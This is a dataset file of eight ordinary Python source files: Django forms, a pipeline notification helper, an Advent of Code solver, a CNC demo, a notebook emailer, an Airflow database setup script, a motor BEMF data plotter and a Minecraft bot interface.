+{"seq_id":"650635371","text":"from django import forms\r\nfrom django.shortcuts import get_object_or_404\r\n\r\nfrom crispy_forms.helper import FormHelper\r\nfrom crispy_forms.layout import Layout, Div, HTML, Submit, Reset, Button\r\nfrom crispy_forms.bootstrap import FormActions\r\n\r\nfrom .models import Place, PlaceExternalRating, PlaceCategory\r\nfrom addresses.forms import AddressField\r\nfrom addresses.models import Address, Country\r\n\r\n# Basic Place Form\r\nclass PlaceForm(forms.ModelForm):\r\n\t# address = AddressField()\r\n\r\n\tclass Meta:\r\n\t\tmodel = Place\r\n\t\tfields = ('title', 'address')\r\n\r\n\tdef __init__(self, country=None, *args, **kwargs):\r\n\t\tsuper(PlaceForm, self).__init__(*args, **kwargs)\r\n\t\tself.fields['address']=forms.ModelChoiceField(queryset=Address.objects.filter(locality__state__country=country))\r\n\r\n\r\n\r\nclass PlaceUpdateAdminForm(forms.ModelForm):\r\n\talias_english = forms.CharField(required=False, widget=forms.Textarea(attrs={'rows': 1}))\r\n\talias_local = forms.CharField(required=False, widget=forms.Textarea(attrs={'rows': 1}))\r\n\tdescription = forms.CharField(required=False, widget=forms.Textarea(attrs={'rows': 6}))\r\n\t# TODO: some bug in addressField in 3rd-party plugin ... need to fix\r\n\t# address = forms.CharField(required=False, widget=forms.Textarea(attrs={'rows': 1}))\r\n\r\n\tclass Meta:\r\n\t\tmodel = Place\r\n\t\tfields = ('title', 'name_local', 'alias_english', 'alias_local', 'description', 'address', 'phone', 'website', 'categories', 'status')\r\n\r\n\tdef __init__(self, *args, **kwargs):\r\n\t\tsuper(PlaceUpdateAdminForm, self).__init__(*args, **kwargs)\r\n\t\t# self.fields['parent'].queryset = Place.objects.filter(address__locality=self.instance.address.locality)\t\r\n\t\tself.fields['address']=forms.ModelChoiceField(queryset=Address.objects.filter(locality__state__country=self.instance.address.locality.state.country))\r\n\t\tself.fields['categories'].widget.attrs['size']='6'\r\n\t\t# self.fields['participants'].required = False\r\n\r\n\t\tself.helper = FormHelper()\r\n\t\tself.helper.label_class = 'form-label'\r\n\t\t# self.helper.field_class = 'form-field'\r\n\t\tself.helper.layout = Layout(\r\n\t\t Div(\r\n\t \t\tDiv(\r\n\t \t\t\tDiv('title', css_class='col-md-7'),\r\n\t \t\t\tDiv('name_local', css_class='col-md-5'),\r\n\t\t\t\t\tcss_class='row'\r\n\t\t\t\t), \r\n\t\t\t\tDiv( \r\n\t\t \tDiv('alias_english', css_class='col-md-5'),\r\n\t\t \tDiv('alias_local', css_class='col-md-5'),\r\n\t\t \tDiv('status', css_class='col-md-2'),\r\n\t\t\t\t\tcss_class='row'\r\n\t\t\t\t), \r\n\t\t Div(\r\n\t\t \tDiv('address', css_class='col-md-5'),\r\n\t\t Div('website', css_class='col-md-4'),\r\n\t\t Div('phone', css_class='col-md-3'),\r\n\t\t css_class='row'\r\n\t\t ), \r\n\t\t\t\tDiv(\r\n\t\t\t\t\tDiv('description', css_class='col-md-7'),\r\n\t\t\t\t\tDiv('categories', css_class='col-md-5'),\r\n\t\t\t\t\tcss_class='row'\r\n\t\t\t\t), \r\n\t\t # Div(\t\t \r\n\t\t # Div('parent', css_class='col-md-8'),\r\n\t\t # Div('status', css_class='col-md-4'),\r\n\t\t # css_class='row'\r\n\t\t # ), \r\n\t\t FormActions(\r\n\t\t Submit('save', 'Save'),\r\n\t\t Reset('reset', 'Reset'),\r\n\t\t Button('cancel', 'Cancel', data_dismiss=\"modal\")\r\n\t\t )\r\n\t\t )\r\n\t\t)\r\n\r\n\t\t# for fieldname in ['participants', 'frequency', 'occasion']:\r\n\t\t# self.fields['google_id'].help_text = None\r\n\r\n\r\nclass PlaceExternalRatingForm(forms.ModelForm):\r\n\tclass Meta:\r\n\t\tmodel = PlaceExternalRating\r\n\t\tfields = ('site_id', 'url', 'rating', 'review_count')\r\n\r\n\tdef __init__(self, *args, **kwargs):\r\n\t\tsuper(PlaceExternalRatingForm, self).__init__(*args, **kwargs)\r\n\r\n\t\tself.helper = FormHelper()\r\n\t\tself.helper.label_class = 'form-label'\r\n\t\t# self.helper.field_class = 'form-field'\r\n\t\tself.helper.layout = Layout(\r\n\t\t Div(\r\n\t \t\tDiv(\r\n\t\t\t\t\tDiv('rating', css_class='col-md-6'),\r\n\t\t\t\t\tDiv('review_count', css_class='col-md-6'),\r\n\t\t\t\t\tcss_class='row'\r\n\t\t\t\t), \r\n\t\t 'url',\r\n\t\t 'site_id',\r\n\t\t FormActions(\r\n\t\t Submit('save', 'Save'),\r\n\t\t Reset('reset', 'Reset'),\r\n\t\t Button('cancel', 'Cancel', data_dismiss=\"modal\")\r\n\t\t )\r\n\t\t )\r\n\t\t)\r\n\r\n\r\nclass PlaceCategoryForm(forms.ModelForm):\r\n\tdescription = forms.CharField(required=False, widget=forms.Textarea(attrs={'rows': 3}))\r\n\tslug = forms.CharField(required=False)\r\n\r\n\tclass Meta:\r\n\t\tmodel = PlaceCategory\r\n\t\tfields = ('title', 'description', 'parent', 'slug')\r\n\r\n\tdef __init__(self, *args, **kwargs):\r\n\t\tsuper(PlaceCategoryForm, self).__init__(*args, **kwargs)\r\n\r\n\t\tself.helper = FormHelper()\r\n\t\tself.helper.label_class = 'form-label'\r\n\t\t# self.helper.field_class = 'form-field'\r\n\t\tself.helper.layout = Layout(\r\n\t\t Div(\r\n\t \t\tDiv(\r\n\t\t\t\t\tDiv('title', css_class='col-md-6'),\r\n\t\t\t\t\tDiv('parent', css_class='col-md-6'),\r\n\t\t\t\t\tcss_class='row'\r\n\t\t\t\t), \r\n\t\t 'slug',\r\n\t\t 'description',\r\n\t\t FormActions(\r\n\t\t Submit('save', 'Save'),\r\n\t\t Reset('reset', 'Reset'),\r\n\t\t Button('cancel', 'Cancel', data_dismiss=\"modal\")\r\n\t\t )\r\n\t\t )\r\n\t\t)","sub_path":"places/forms.py","file_name":"forms.py","file_ext":"py","file_size_in_byte":5006,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"35"}
+{"seq_id":"260206480","text":"from django.db.models import Q\nfrom django.conf import settings\nfrom file_system.repository.file_repository import FileRepository\nfrom beagle_etl.metadata.validator import MetadataValidator\nfrom runner.operator.helper import format_sample_name\n\n\ndef get_project_id(request_id):\n return request_id.split(\"_\")[0]\n\n\ndef get_gene_panel(request_id):\n return FileRepository.filter(\n metadata={settings.REQUEST_ID_METADATA_KEY: request_id}, values_metadata=settings.RECIPE_METADATA_KEY\n ).first()\n\n\ndef get_samples(request_id):\n return FileRepository.filter(\n metadata={settings.REQUEST_ID_METADATA_KEY: request_id}, values_metadata=settings.SAMPLE_ID_METADATA_KEY\n ).all()\n\n\ndef get_number_of_tumor_samples(request_id):\n return FileRepository.filter(\n metadata={settings.REQUEST_ID_METADATA_KEY: request_id, settings.TUMOR_OR_NORMAL_METADATA_KEY: \"Tumor\"},\n values_metadata=settings.SAMPLE_ID_METADATA_KEY,\n ).count()\n\n\ndef get_emails_to_notify(request_id, notification_type=None):\n investigator_email = FileRepository.filter(\n metadata={settings.REQUEST_ID_METADATA_KEY: request_id},\n values_metadata=settings.INVESTIGATOR_EMAIL_METADATA_KEY,\n ).first()\n lab_head_email = FileRepository.filter(\n metadata={settings.REQUEST_ID_METADATA_KEY: request_id}, values_metadata=settings.LAB_HEAD_EMAIL_METADATA_KEY\n ).first()\n send_to = settings.BEAGLE_NOTIFIER_VOYAGER_STATUS_EMAIL_TO\n if notification_type in settings.BEAGLE_NOTIFIER_VOYAGER_STATUS_NOTIFY_EXTERNAL:\n if investigator_email not in settings.BEAGLE_NOTIFIER_VOYAGER_STATUS_BLACKLIST and investigator_email:\n send_to.append(investigator_email)\n if lab_head_email not in settings.BEAGLE_NOTIFIER_VOYAGER_STATUS_BLACKLIST and lab_head_email:\n send_to.append(lab_head_email)\n return list(set(send_to))\n\n\ndef generate_sample_data_content(files, pipeline_name, pipeline_github, pipeline_version, dmp_samples=None):\n result = \"SAMPLE_ID\\tREQUEST_ID\\tPROJECT_ID\\tPATIENT_ID\\tCOLLAB_ID\\tSAMPLE_TYPE\\tGENE_PANEL\\tONCOTREE_CODE\\tSAMPLE_CLASS\\tSPECIMEN_PRESERVATION_TYPE\\tSEX\\tTISSUE_SITE\\tIGO_ID\\tRUN_MODE\\tPIPELINE\\tPIPELINE_GITHUB_LINK\\tPIPELINE_VERSION\\n\"\n ret_str = \"metadata__{sample_id_key}\".format(sample_id_key=settings.SAMPLE_ID_METADATA_KEY)\n query = Q(file__file_group_id=settings.IMPORT_FILE_GROUP)\n query |= Q(file__file_group__slug=\"origin-unknown\")\n query |= Q(file__file_group__slug=\"fero-legacy-data\")\n query = query & Q(file__path__in=files)\n samples = FileRepository.filter(q=query).order_by(ret_str).distinct(ret_str).all()\n for sample in samples:\n metadata = sample.metadata\n result += generate_sample_data_content_str(metadata, pipeline_name, pipeline_github, pipeline_version)\n if dmp_samples:\n for sample in dmp_samples:\n metadata = sample[0].metadata\n project_id = metadata[settings.REQUEST_ID_METADATA_KEY]\n result += generate_sample_data_content_str(\n metadata, pipeline_name, pipeline_github, pipeline_version, project_id\n )\n return result\n\n\ndef generate_sample_data_content_str(metadata, pipeline_name, pipeline_github, pipeline_version, project_id=None):\n if project_id:\n project_id = get_project_id(metadata[settings.REQUEST_ID_METADATA_KEY])\n result = \"{}\\t{}\\t{}\\t{}\\t{}\\t{}\\t{}\\t{}\\t{}\\t{}\\t{}\\t{}\\t{}\\t{}\\t{}\\t{}\\n\".format(\n metadata.get(\n settings.CMO_SAMPLE_TAG_METADATA_KEY,\n format_sample_name(\n metadata[settings.CMO_SAMPLE_NAME_METADATA_KEY], metadata[settings.SAMPLE_CLASS_METADATA_KEY]\n ),\n ),\n metadata[settings.REQUEST_ID_METADATA_KEY],\n project_id,\n metadata[settings.PATIENT_ID_METADATA_KEY],\n metadata[\"investigatorSampleId\"],\n MetadataValidator.clean_value(metadata[settings.SAMPLE_CLASS_METADATA_KEY]),\n MetadataValidator.clean_value(metadata[settings.RECIPE_METADATA_KEY]),\n MetadataValidator.clean_value(metadata[settings.ONCOTREE_METADATA_KEY]),\n MetadataValidator.clean_value(metadata[settings.SAMPLE_CLASS_METADATA_KEY]),\n MetadataValidator.clean_value(metadata[\"preservation\"]),\n MetadataValidator.clean_value(metadata[\"sex\"]),\n MetadataValidator.clean_value(metadata[\"tissueLocation\"]),\n metadata[settings.SAMPLE_ID_METADATA_KEY],\n MetadataValidator.clean_value(metadata[\"runMode\"]),\n pipeline_name,\n pipeline_github,\n pipeline_version,\n )\n return result\n","sub_path":"notifier/helper.py","file_name":"helper.py","file_ext":"py","file_size_in_byte":4582,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"35"}
+{"seq_id":"100277254","text":"def parse_line(line):\n arr = line.replace(',', '').split()\n base = arr[0]\n weight = int(arr[1][1:-1])\n upper_list = arr[3:]\n return base, weight, upper_list\n\n\ndef parse_file(filename):\n arr = []\n with open(filename, 'r') as f:\n for line in f:\n result = parse_line(line)\n arr.append(result)\n return arr\n\n\ndef find_base_program(array):\n potential_bases = set([base for (base, _, _) in array])\n for _, _, upper_list in array:\n for program in upper_list:\n if program in potential_bases:\n potential_bases.remove(program)\n return potential_bases.pop()\n\n\nclass Node:\n def __init__(self, name, weight, children=None):\n self.name = name\n self.weight = weight\n self.children = []\n if children is not None:\n for child in children:\n self.add_child(child)\n\n\n def __repr__(self):\n return '{} ({})'.format(self.name, self.weight)\n\n\n def add_child(self, node):\n assert isinstance(node, Node)\n self.children.append(node)\n\n\n def print(self, depth=0, last=False):\n if depth == 0:\n line = self\n else:\n if last:\n line = \"{}└{} {}\".format(4*(depth-1)*' ', 2*'─', self)\n else:\n line = \"{}├{} {}\".format(4*(depth-1)*' ', 2*'─', self)\n print(line)\n for i, child in enumerate(self.children):\n if i == len(self.children) - 1:\n child.print(depth+1, True)\n else:\n child.print(depth+1)\n\n\n def find_imbalance(self):\n if len(self.children) == 0:\n return False, self.weight, self.name\n\n branches_weights = []\n branches = {}\n for child in self.children:\n imbalanced, branch_weight, branch_name = child.find_imbalance()\n if imbalanced:\n return True, branch_weight, branch_name\n else:\n branches_weights.append(branch_weight)\n branches[branch_weight] = branch_name\n\n weights_dict = {weight: branches_weights.count(weight) for weight in branches_weights}\n if len(weights_dict) != 1:\n for key, value in weights_dict.items():\n if value == 1:\n wrong_weight = key\n else:\n good_weight = key\n wrong_name = branches[wrong_weight]\n wrong_child = next(child for child in self.children if child.name == wrong_name)\n return True, (wrong_child.weight - (wrong_weight-good_weight)), wrong_name\n return False, self.weight + sum(branches_weights), self.name \n\n\ndef prepare_nodes(array):\n nodes = {}\n for tup in array:\n name, weight, _ = tup\n nodes[name] = Node(name, weight)\n for tup in array:\n name, _, children_names = tup\n parent = nodes[name]\n for child_name in children_names:\n child = nodes[child_name]\n parent.add_child(child)\n return nodes\n\n\nexample_array = parse_file(\"advent7_example.txt\")\ninput_array = parse_file(\"advent7_input.txt\")\n\n\nprint('Part 1:')\n\nexample_result = find_base_program(example_array)\nprint(\"Example: {} (should return 'tknk')\".format(example_result))\n\ninput_result = find_base_program(input_array)\nprint(\"Result: {} \".format(input_result)) # vtzay\n\nprint()\nprint('Part 2:')\n\nexample_nodes = prepare_nodes(example_array)\nexample_nodes[example_result].print()\n\n_, example_result2, _ = example_nodes[example_result].find_imbalance()\nprint(\"Example: {} (should return 60)\".format(example_result2))\n\ninput_nodes = prepare_nodes(input_array)\n_, input_result2, _ = input_nodes[input_result].find_imbalance()\nprint(\"Result: {} \".format(input_result2)) # 910\n","sub_path":"07/advent7.py","file_name":"advent7.py","file_ext":"py","file_size_in_byte":3785,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"35"}
+{"seq_id":"433800308","text":"\r\n\"\"\"\r\nDemonstrates using the .circle() method.\r\n\"\"\"\r\n\r\n# Import \r\nfrom lab.cnc import CNC\r\n\r\n# Initialize\r\ncnc = CNC()\r\ncnc.home()\r\ncnc.move_to(100, 400, 0)\r\n\r\n# Loop\r\nfor radius in range(50, 300, 50):\r\n print(\"Making circle of radius {} mm\".format(radius))\r\n cnc.circle(radius, 150)\r\n\r\n# Return home\r\ncnc.move_to(0, 0, 0)","sub_path":"jetson/examples/cnc/make_circles.py","file_name":"make_circles.py","file_ext":"py","file_size_in_byte":329,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"35"}
+{"seq_id":"83794228","text":"import base64\nfrom bs4 import BeautifulSoup\nfrom getpass import getpass\nimport email.encoders as encoders\nfrom email.mime.base import MIMEBase\nfrom email.mime.multipart import MIMEMultipart\nfrom email.mime.text import MIMEText\nfrom email.mime.image import MIMEImage\nimport smtplib\nimport socket\nimport ssl\nimport time\nfrom ..nbconvert import run\nfrom ..hideinput.exporters import _html_no_code_email_template\n\n\ndef attach_parts(msg, parts):\n imgCount = 0\n for part in parts:\n if isinstance(part, (list, tuple)):\n partType, partText = part\n maintype, subtype = partType.split('/', 1)\n if maintype == 'text':\n part = MIMEText(partText, _subtype=subtype)\n elif maintype == 'image':\n imgCount += 1\n part = MIMEImage(partText, _subtype=subtype)\n part.add_header('Content-ID', ''.format(imgCount))\n else:\n pass\n msg.attach(part)\n\n\ndef send_mail(from_addr, to_addrs, message, attempts=1, retryDelaySecs=1, mailhost=('smtp.gmail.com', 587), useTLS=True, outlook=False):\n result = None\n attempts = attempts\n\n if mailhost is None:\n mailhost = [input('input mailhost address:'), int(input('input mailhost port:'))]\n\n for attempt in range(0, attempts):\n try:\n\n with smtplib.SMTP(mailhost[0], mailhost[1], timeout=10) as s:\n if useTLS:\n s.starttls(context=ssl.create_default_context())\n pw = getpass('password for %s:' % from_addr)\n s.login(from_addr, pw)\n result = s.sendmail(from_addr, to_addrs, message)\n except (smtplib.SMTPSenderRefused, smtplib.SMTPRecipientsRefused) as e:\n time.sleep(retryDelaySecs)\n if attempt == attempts:\n raise e\n except (smtplib.SMTPException, socket.error, IOError) as e:\n time.sleep(retryDelaySecs)\n if attempt == attempts:\n raise e\n return result\n\n\ndef email_notebook(notebook,\n from_user='',\n to_user='',\n subject='',\n template=_html_no_code_email_template,\n header='TEST HEADER
',\n footer='TEST FOOTER
',\n execute=False,\n execute_timeout=100,\n new_notebook=False,\n postprocessor=None,\n postprocessor_kwargs=None):\n\n x = run(to='html',\n in_=notebook,\n template=template,\n execute=execute,\n execute_timeout=execute_timeout,\n new_notebook=new_notebook)\n\n if not x:\n raise Exception('Something went wrong with NBConvert')\n\n msg = MIMEMultipart()\n soup = BeautifulSoup(x, 'html.parser')\n\n # extract imgs for outlook\n imgs = soup.find_all('img')\n\n # strip markdown links\n for item in soup.findAll('a', {'class': 'anchor-link'}):\n item.decompose()\n\n # remove dataframe table borders\n for item in soup.findAll('table', {'border': 1}):\n item['border'] = 0\n item['cellspacing'] = 0\n item['cellpadding'] = 0\n\n # add header and footer\n if header or footer:\n head = soup.find('div', {'class': 'header'})\n foot = soup.find('div', {'class': 'footer'})\n head.append(BeautifulSoup(header or '', 'html.parser'))\n foot.append(BeautifulSoup(footer or '', 'html.parser'))\n\n # attach main part\n for i, img in enumerate(imgs):\n if not img.get('localdata'):\n continue\n # part = MIMEBase('application', 'octet-stream')\n # part.set_payload(base64.b64decode(img.get('localdata')))\n part = MIMEImage(base64.b64decode(img.get('localdata')), 'png', name='Cell_%s_Img_%d.png' % (img.get('cell_id'), i))\n del img['localdata']\n img['src'] = 'cid:Cell_%s_Img_%d.png' % (img.get('cell_id'), i)\n encoders.encode_base64(part)\n # part.add_header('Content-Disposition', 'attachment', filename=img.get('cell_id'))\n part.add_header('Content-Disposition', 'inline', filename='Cell_%s_Img_%d.png' % (img.get('cell_id'), i))\n part.add_header('Content-ID', '<%s>' % 'Cell_%s_Img_%d.png' % (img.get('cell_id'), i))\n msg.attach(part)\n\n if postprocessor:\n if postprocessor_kwargs is None:\n postprocessor_kwargs = {}\n print('running postprocessor %s' % str(postprocessor))\n tmp = postprocessor(soup, **postprocessor_kwargs)\n if tmp is not None:\n soup = tmp\n\n attach_parts(msg, [('text/html', str(soup))])\n\n headerExtra = ''\n importance = 'Importance: Normal\\r\\n'\n\n msg_as_string = msg.as_string()\n\n composed = 'From: %s\\r\\nTo: %s\\r\\n' % (from_user, to_user) + \\\n headerExtra + importance + \\\n \"Subject: %s\\r\\n%s\" % (subject, msg_as_string)\n send_mail(from_user, to_user, composed, attempts=1, retryDelaySecs=2)\n","sub_path":"_deprecated/email/email.py","file_name":"email.py","file_ext":"py","file_size_in_byte":5003,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"35"}
+{"seq_id":"361269834","text":"from airflow.hooks.base_hook import BaseHook\nfrom sqlalchemy import create_engine\nfrom sqlalchemy_utils import create_database, database_exists\nimport sqlalchemy\n\ndatalake_conn_string = BaseHook.get_connection('postgres_datalake').get_uri()\n\nengine = create_engine(datalake_conn_string)\n\n# create database\nif not database_exists(engine.url):\n create_database(engine.url)\n engine.execute(\"GRANT ALL PRIVILEGES ON DATABASE {db} TO {user};\".format(user = engine.url.username, db = engine.url.database))\n\n# create schema, give permissions\nif not engine.dialect.has_schema(engine, 'views'):\n engine.execute(sqlalchemy.schema.CreateSchema('views'))\n engine.execute(\"GRANT ALL PRIVILEGES ON SCHEMA views TO {user};\".format(user = engine.url.username))\n engine.execute(\"GRANT ALL PRIVILEGES ON ALL TABLES IN SCHEMA views TO {user};\".format(user = engine.url.username))\n engine.execute(\"ALTER DEFAULT PRIVILEGES IN SCHEMA views GRANT ALL PRIVILEGES ON TABLES TO {user};\".format(user = engine.url.username))\n","sub_path":"airflow/setup_views.py","file_name":"setup_views.py","file_ext":"py","file_size_in_byte":1016,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"35"}
+{"seq_id":"533185904","text":"import pandas as pd\r\nimport numpy as np\r\nimport matplotlib.pyplot as plt\r\n# 200KHz\r\n\r\nPole = 10 # motor pole pairs\r\nfre_filter = 500 # filter date > fre_filter\r\n\r\nfilename = \"D:\\\\Sylvain\\\\Desktop\\\\C1test00007.csv\"\r\ndf = pd.read_csv(filename, header=4)\r\nValue = np.array(df).T\r\nX = Value[0]\r\nY = Value[1]\r\nT = []\r\nindex = []\r\ni = 0\r\nwhile i < len(Y) - 2:\r\n if Y[i] * Y[i + 1] < 0:\r\n V = X[i] + abs(X[i + 1] - X[i]) * Y[i] / (Y[i + 1] - Y[i])\r\n T.append(V)\r\n i += 1\r\n index.append(i)\r\n elif Y[i] * Y[i + 1] == 0:\r\n k = 2\r\n while Y[i] * Y[i + k] == 0:\r\n k += 1\r\n if i + k > len(Y) - 2:\r\n break\r\n if Y[i + k] - Y[i] != 0:\r\n V = X[i] + abs(X[i + k] - X[i]) * Y[i] / (Y[i + k] - Y[i])\r\n T.append(V)\r\n index.append(i)\r\n i = i + k\r\n else:\r\n i += 1\r\n# process freq data and index\r\ni = 0\r\nS = []\r\nwhile i < len(T) - 1:\r\n s = T[i + 1] - T[i]\r\n S.append(1 / s)\r\n i += 1\r\nM, N, index_list = [], [], []\r\nfor v, i, index_i in zip(S, T, index):\r\n if abs(v) < 500:\r\n M.append(v)\r\n N.append(i)\r\n index_list.append(index_i)\r\nN0 = N[0]\r\nN = [n - N0 for n in N]\r\nM = [60 * m / Pole for m in M]\r\n\r\nfig = plt.figure()\r\nax = plt.subplot(2, 1, 1)\r\nax.set(xlabel=\"t(s)\", ylabel=\"Speed(rpm)\", title=\"M24 speed via BEMF\")\r\nax.spines[\"top\"].set_color(\"none\")\r\nax.spines[\"right\"].set_color(\"none\")\r\n# ax.spines[\"bottom\"].set_position((\"data\",0))\r\nax.xaxis.set_ticks_position(\"bottom\")\r\n# ax.spines[\"left\"].set_position((\"data\",0))\r\nax.plot(N, M, \"xr-\")\r\nplt.grid()\r\n# ax.plot(N,M,\"bx\")\r\n\r\n\r\n# process RMS data\r\nrms = []\r\ni_start = index_list[0]\r\nfor i in index_list[1:]:\r\n sum_list = np.arange(i_start, i, 1)\r\n Div_number = i - i_start\r\n i_start = i\r\n rms_temp = 0\r\n for j in sum_list:\r\n rms_temp = rms_temp + Y[j]**2\r\n rms_temp = np.sqrt(rms_temp / Div_number)\r\n rms.append(rms_temp)\r\n\r\nax2 = plt.subplot(2, 1, 2)\r\nax2.set(xlabel=\"t(s)\", ylabel=\"BEMF(rms)\", title=\"M24 BEMF vs Time\")\r\nax2.spines[\"top\"].set_color(\"none\")\r\nax2.spines[\"right\"].set_color(\"none\")\r\n# ax.spines[\"bottom\"].set_position((\"data\",0))\r\nax2.xaxis.set_ticks_position(\"bottom\")\r\n# ax.spines[\"left\"].set_position((\"data\",0))\r\nax2.plot(N[1:], rms, \"bx\")\r\nplt.grid()\r\nfig.tight_layout()\r\nplt.show()\r\n","sub_path":"BEMF_DataProcess.py","file_name":"BEMF_DataProcess.py","file_ext":"py","file_size_in_byte":2343,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"35"}
+{"seq_id":"139465089","text":"# -*- coding: utf-8 -*-\n\"\"\"\nA high-level interface for the bot.\n\n@author: silver\n\"\"\"\n\nfrom inventory import LEFT_CLICK, RIGHT_CLICK, WID_INVENTORY, WID_MOUSE\nimport logbot\nimport entities\nimport items\nimport plugins\n\n\nlog = logbot.getlogger('INTERFACE')\n\n\nclass BotInterface(object):\n \"\"\"This is meant to be a high-level abstraction of the bot, implementing\n all aspects of a normal player interface, as well as being a central,\n unified location for bot behaviour access gained through plugins.\"\"\"\n def __init__(self, bot_entity):\n self._entity = bot_entity\n self.world = bot_entity.world\n self.behaviours = plugins.behaviours\n self.verbs = {}\n for plugin in plugins.behaviours:\n plugin = plugins.behaviours[plugin]\n for verb in plugin.verbs:\n if verb in self.verbs:\n msg = 'Cannot override pre-existing verb \"%s\"' % verb\n self.world.chat.send_message(msg)\n continue\n else:\n self.verbs[verb] = plugin.verbs[verb]\n self._active_slot = None\n\n def __getattr__(self, name):\n if name in self.verbs:\n return self.verbs[name]\n raise AttributeError(\"BotInterface object has no attribute '%s'\"\n % name)\n\n @property\n def held(self):\n return self.inventory.ready[self._active_slot]\n\n @held.setter\n def held(self, item):\n self.inventory.ready[self._active_slot] = item\n\n @property\n def inventory(self):\n return self.world.inventories[WID_INVENTORY]\n\n @property\n def mouse(self):\n return self.world.inventories[WID_MOUSE]\n\n def click_entity(self, entity_ref, button):\n \"\"\"Click on given entity or entity id.\n entity_ref := eid or entity object\n button := LEFT_CLICK or RIGHT_CLICK\n \"\"\"\n # LEFT_CLICK and RIGHT_CLICK are pulled from inventory, but this\n # packet uses an opposite schema from what inventory uses.. *sigh*..\n button = not button\n target_eid = entity_ref if type(entity_ref) == int else entity_ref.eid\n self.world.send_packet('animation', eid=self.entity.eid, animation=1)\n self.world.send_packet('use entity', eid=self.entity.eid,\n target=target_eid, button=button)\n\n def click_slot(self, button, slot, shift=False, func=None):\n func = lambda x: x if not func else func\n return self.mouse.click_slot(button, slot, func, shift)\n\n def click(self, clickable, mouse_button, shift=False, func=None):\n \"\"\"click(entity, button) -> None\n click(slot_item, button, shift=False, func=None) -> [] (read below)\n\n 'Click' on the clickable. This should mirror the minecraft UI, so\n 'clicking' here should have the same effect as clicking on the same\n item in the minecraft client.\n\n For this to work, you must send in a recognized item type. Currently,\n the recognized types are:\n Entity\n Slot (Item or NoItem)\n If sending 'Slot'\n\n Slots can be acquired through the inventory attribute of this class.\n Entities can be acquired through world.entities.\n \"\"\"\n if isinstance(clickable, entities.Entity):\n self.click_entity(clickable, mouse_button)\n elif isinstance(clickable, items.Slot):\n self.click_slot(mouse_button, clickable, shift, func)\n else:\n log.msg(\"Unrecognized item type to click: \" + str(type(clickable)))\n\n def drop_item(self, item):\n \"\"\"Drop given item, moving it to held slot if needed.\"\"\"\n def drop(success):\n if success:\n self.world.reactor.callLater(0.2, self.drop)\n return success\n self.hold(item, func=drop)\n\n def drop(self, count=-1, item=None):\n \"\"\"drop() -> drop the whole stack of the currently-held item\n drop(13) -> drop 13 of the currently-held item\n \"\"\"\n packet = {'state': None, 'x': 0, 'y': 0, 'z': 0, 'face': 0}\n if count < 0:\n packet['state'] = 3\n self.world.send_packet(\"player digging\", packet)\n self.held = None\n else:\n packet['state'] = 4\n for I in xrange(count):\n if self.held.count:\n log.msg(\"dropping one \" + str(self.held.name))\n self.world.send_packet('player digging', packet)\n self.held.count -= 1\n if not self.held.count:\n self.held = None\n\n def drop_everything(self):\n \"\"\"Drop everything in the inventory\"\"\"\n delay = 0\n increment = 0.3\n for item in self.inventory.ready:\n if not item:\n continue\n self.world.reactor.callLater(delay, self.drop_item, item)\n delay += increment\n\n for item in self.inventory.general:\n if not item:\n continue\n self.world.reactor.callLater(delay, self._drop_item, item)\n delay += increment\n\n def left_click(self, what, shift=False, func=None):\n \"\"\"Shortcut for click, using mouse_button=LEFT_CLICK\"\"\"\n self.click(what, LEFT_CLICK, shift, func)\n\n def right_click(self, what, shift=False, func=None):\n \"\"\"Shortcut for click, using mouse_button=RIGHT_CLICK\"\"\"\n self.click(what, RIGHT_CLICK, shift, func)\n\n def hold(self, item, lookup=True, general_inventory=True,\n func=lambda x: x):\n \"\"\"hold(item) -> True, [], or Exception is raised with error message.\n hold the specified item, which must be in the ready inventory.\n if item is a Slot object, hold that item.\n if item is a string, look for that item, and hold that.\n\n if general_inventory is True, then the action will be performed\n asynchronously, and a list will be returned instead of True. Once the\n asynchronous activity is completed, the results (True or False) will be\n appended to the list.\n \"\"\"\n if lookup and isinstance(item, (str, unicode)):\n item_str = item\n options = self.inventory.ready.lookup(item)\n if options:\n item = options[0]\n elif general_inventory:\n options = self.inventory.general.lookup(item)\n if options:\n item = options[0]\n else:\n msg = \"Couldn't find '\" + item_str + \"' in inventory.\"\n raise Exception(msg)\n else:\n msg = \"Couldn't find '\" + item_str + \"' in ready inventory.\"\n raise Exception(msg)\n if item not in self.inventory.ready:\n if not general_inventory or (item not in self.inventory.general):\n msg = \"Could not find '\" + item.name + \"' in inventory.\"\n raise Exception(msg)\n if item in self.inventory.ready:\n self.world.send_packet('held item change',\n {'item': item.gc_slot_number})\n func(True)\n return True\n # now for the more complex, async case..\n ready = self.inventory.ready\n general = self.inventory.general\n item_str = item.name # now that we have the item, use it exactly\n # the methods we create can set the result[0] to whatever, thus adding\n # a deferred result. ..we should really make an event engine.\n#TODO: event engine (avoid this circuitous stuff)\n result = []\n\n ## if the move of the stack succeeds, this will be executed.\n def switch_to(success):\n if not success:\n result.append(False)\n options = ready.lookup(item_str)\n if not options:\n result.append(False)\n return False\n item = options[0]\n self.world.send_packet('held item change',\n {'item': item.gc_slot_number})\n result.append(func(True))\n if ready.has_room():\n self.move_stack(item, ready, switch_to)\n return result\n\n # ready does not have room. Make method to pass to move_stack\n # in case it succeeds at swapping out an item from ready\n def general_to_ready(success):\n if not success or not ready.has_room():\n result.append(False)\n self.move_stack(item, ready, switch_to)\n swappable = general[8] # ..may as well use the last item..\n self.move_stack(swappable, general, general_to_ready)\n return result\n\n def move_stack(self, item, dest, func=None):\n \"\"\"Try to move the given items to the given destination. If we\n succeed, run func(True), otherwise, run func(False)\"\"\"\n def put_callback(success):\n if not success:\n func(False)\n return False\n self.mouse.put_stack(dest, func=func)\n # Execution order (dependent upon success of each):\n # take_stack -> put_callback -> put_stack -> func\n self.mouse.take_stack(item, func=put_callback)\n\n","sub_path":"twistedbot/botinterface.py","file_name":"botinterface.py","file_ext":"py","file_size_in_byte":9203,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"35"}
